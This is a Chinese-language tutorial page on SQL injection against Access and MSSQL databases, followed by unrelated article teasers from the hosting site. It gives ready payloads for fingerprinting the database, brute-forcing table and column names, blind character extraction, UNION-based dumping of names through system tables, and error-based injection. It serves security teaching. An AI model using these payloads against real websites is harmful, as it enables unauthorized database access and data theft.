SQL注入基础-5

一、Access注入

1、asp网站常用数据库:access,mssql

2、access数据库

(1)没有库,没有端口

(2)结构:表--》字段--》数据

3、注入流程:

  • 判断类型
  • 判断表名:遍历、爆破
  • 判断列名
  • 判断列名下的数据长度
  • 查出数据

4、判断是什么数据库

and exists (select * from msysobjects)>0   access

and exists (select * from sysobjects)>0      mssql

5、破解

(1)判断类型:确定是字符型还是数字型

(2)获取表名:and+exists+(select+*+from+表名)

(3)获取列名:and+exists+(select+列名+from+表名)

(4)获取数据长度:and+(select+top+1+len(列名)+from+表名)>5

(5)获取数据:and+(select+top+1+asc(substr(列名,1,2))+from+表名)>110

6、联合注入:需要知道具体表名

参考资料:https://www.cnblogs.com/drkang/p/8627794.html

二、mssql注入

注:严格区分数字型和字符型

1、特殊数据库:master

2、表:

  • sysdatabases:master库中,保存所有库名
  • syobjects:每个数据库都有,保存数据库中的所有表
  • syscolumns:每个数据库都有,保存所有表的字段名

3、思路

  • 判断类型
  • 获取数据库
  • 获取表
  • 获取字段数
  • 获取数据

4、常用(与MySQL不同)

  • db_name():获取当前数据库名
  • host_name():获取计算机名
  • user:获取用户名
  • current_user:获取当前数据库的用户名
  • substring:字符串截取函数
  • @@version:查看数据库版本
  • char:ASCII转字符函数

5、联合查询注入

(1)获取数据库:-1' union select '1','2',db_name()--+

(2)获取表名:-1' union select '1','2',(select quotename(name) from test.dbo.sysobjects where xtype='u' for xml path(''))--+

  • quotename():与MySQL中的group_concat类似,分隔符不同,quotename()使用中括号
  • test:数据库,dbo:用户
  • xtype:指定用户类型

(3)获取字段数:-1' union select '1','2',(select quotename(name) from test.dbo.syscolumns where id=(select quotename(name) from test.dbo.sysobjects where name='表名') for xml path(''))--+

(4)获取数据:-1' union select '1','2',(select top 1 quotename(name) from test.dbo.表名 where  for xml path(''))--+

6、报错注入

(1)convert函数(强制类型转换):' and convert(int,db_name())=1--+

(2)四则运算报错:' and 1/db_name()=1--+  

7、盲注

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/pingmian/6810.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【管理篇】如何处理团队里的老资格员工和高能力员工?

目录标题 两类员工对比🤺老资格员工高能力员工 作为领导你应该怎么做? 在管理团队时,处理老资格员工和高能力员工是一项至关重要的任务。这两类员工在团队中扮演着不同的角色和有着不同的需求,因此需要针对性的管理和激励。下面将…

漫谈音频深度伪造技术

作为人工智能时代的新型媒体合成技术,深度伪造技术近年来在网络媒体中的涉及领域越发广泛、出现频次越发频繁。据路透社报道,2023年,社交媒体网站上发布50万个深度伪造的语音和视频。 1、深度伪造技术的五个方面 音频深度伪造技术&#xff…

Java八股文3

3.垃圾回收 1.对象什么时候可以被垃圾器回收 1.垃圾回收的概念 为了让程序员更专注于代码的实现,而不用过多的考虑内存释放的问题,所以, 在Java语言中,有了自动的垃圾回收机制,也就是我们熟悉的GC(Garbage Collection)…

Unity 性能优化之静态批处理(三)

提示:仅供参考,有误之处,麻烦大佬指出,不胜感激! 文章目录 前言一、静态批处理是什么?二、使用步骤1.勾选Static Batching2.测试静态合批效果 三、静态合批得限制1、游戏对象处于激活状态。2、游戏对象有一…

CMakeLists.txt语法规则:条件判断说明一

一. 简介 前面学习了 CMakeLists.txt语法中的 部分常用命令,常量变量,双引号的使用。 本文继续学习 CMakeLists.txt语法中的条件判断。 二. CMakeLists.txt 语法规则:条件判断 在 cmake 中可以使用条件判断,条件判断形式如下…

Osek网络管理测试

本专栏主要介绍Osek网络管理测试相关状态机,测试执行、以及结果分析。 持续更新中… 【Osek网络管理测试】列表 🚗【Osek网络管理测试】知识点解读 初始化测试 🚗【Osek网络管理测试】[TG1_TC1]第一帧报文格式_上电唤醒 🚗【Os…

STM32 01

1、编码环境 1.1 安装keil5 1.2 安装STM32CubeMX 使用STM32CubeMX可以通过界面的方式,快速生成工程文件 安装包可以从官网下载:https://www.st.com/zh/development-tools/stm32cubemx.html#overview 安装完要注意更新一下固件包的位置,因为…

vivado 在硬件中调试串行 I/O 设计-属性窗口

只要在“硬件 (Hardware) ”窗口中选中 GT 或 COMMON 块、在“链接 (Link) ”窗口中选中链接 , 或者在“扫描 (Scan)”窗口中选中扫描 , 那么就会在“ Properties ”窗口中显示该对象的属性。对于 GT 和 COMMON , 包括这些对象的所有属性、…

掌握 CentOS 中的常用命令:提升 Linux 管理技能

序言 在使用 CentOS(一种流行的 Linux 发行版之一)进行系统管理和开发时,熟练掌握一些基本的命令是非常重要的。这些命令可以帮助您执行各种任务,从文件管理到系统配置,甚至是网络和安全设置。在本文中,我…

电商日志项目(一)

电商日志项目 一、项目体系架构设计1. 项目系统架构2. 项目数据流程二、环境搭建1. NginxLog文件服务1.1. 上传,解压1.2. 编译安装1.3. 启动验证2. Flume-ng2.1. 上传解压2.2. 修改配置文件2.3. 修改环境变量2.4. 验证3. Sqoop3.1. 上传解压3.2. 配置环境变量3.3. 修改配置文件…

react组件的导入与导出

组件的神奇之处在于它们的可重用性:你可以创建一个由其他组件构成的组件。但当你嵌套了越来越多的组件时,则需要将它们拆分成不同的文件。这样可以使得查找文件更加容易,并且能在更多地方复用这些组件。 根组件文件 在 你的第一个组件 中&…

如何进行Go语言的性能测试和调优?

文章目录 开篇一、性能测试1. 使用标准库中的testing包2. 使用第三方工具 二、性能调优1. 优化算法和数据结构2. 减少不必要的内存分配和垃圾回收3. 并发和并行 结尾 开篇 Go语言以其出色的性能和简洁的语法受到了广大开发者的喜爱。然而,在实际开发中,…

微服务架构与单体架构

微服务架构与与单体架构比较 微服务架构是一种将应用程序作为一组小的、独立服务的系统架构风格,每个服务运行在其自己的进程中,并通常围绕业务能力组织。这些服务通过定义良好且轻量级的机制(通常是HTTP REST API)进行通信。微服…

Redis(基础指令和五大数据类型)

文章目录 1.基本介绍1.多种数据结构支持2.应用场景 2.Redis安装(直接安装到云服务器)1.安装gcc1.yum安装gcc2.查看gcc版本 2.将redis6.2.6上传到/opt目录下3.进入/opt目录下然后解压4.进入 redis-6.2.6目录5.编译并安装6.进入 /usr/local/bin 查看是否有…

智慧文旅开启沉浸式文化体验,科技让旅行更生动:借助智慧技术,打造沉浸式文化体验场景,让旅行者在旅行中深度感受文化的魅力

一、引言 随着科技的飞速发展,传统旅游行业正经历着前所未有的变革。智慧文旅,作为一种新兴的旅游模式,正以其独特的魅力,吸引着越来越多的旅行者。智慧文旅不仅改变了人们的旅行方式,更在深度上丰富了人们的文化体验…

PostgreSQL 的用户管理操作

在 PostgreSQL 中,可以通过 SQL 命令和 psql 命令行工具进行用户管理操作。以下是一些常见的 PostgreSQL 用户管理操作: 1. 查询用户: \du2. 创建用户: 可以使用 CREATE ROLE 命令创建新用户,语法如下: CREATE ROLE username WITH LOGIN PASSWORD password; 如: CRE…

ansible报错解决:Failed to import the required Python library (netaddr)

ansible报错解决:Failed to import the required Python library (netaddr) 问题情况 今天我在做实验的时候出现了一个问题,以下是我的playbook,这个playbook是验证变量ip_address是否是一个合法的IP地址,并打印相应的信息的一个…

Spring入门及注解开发

1 引言 自定义注解可以用来为代码添加元数据信息,简化配置,提高代码的可读性和可维护性。通过自定义注解,可以实现自定义的业务逻辑、约束条件、配置参数等功能。在Spring中,自定义注解常用于标记组件、配置依赖注入、AOP切面等。 自定义注解可以添加元数据信息,低代码框…

问题 A: 实验11_4_初识链表

题目描述 已知一个正整数序列,个数未知,但至少有一个元素,你的任务是建立一个单链表,并使用该链表存储这个正整数序列,然后统计这个序列中元素的最大值与最小值,计算序列全部元素之和。正整数的输入用-1作…

关于图形库

文章目录 1. 概念介绍2. 使用方法2.1 普通路由2.2 命名路由 3. 示例代码4. 内容总结 我们在上一章回中介绍了"使用get显示Dialog"相关的内容,本章回中将介绍使用get进行路由管理.闲话休提,让我们一起Talk Flutter吧。 1. 概念介绍 我们在本章…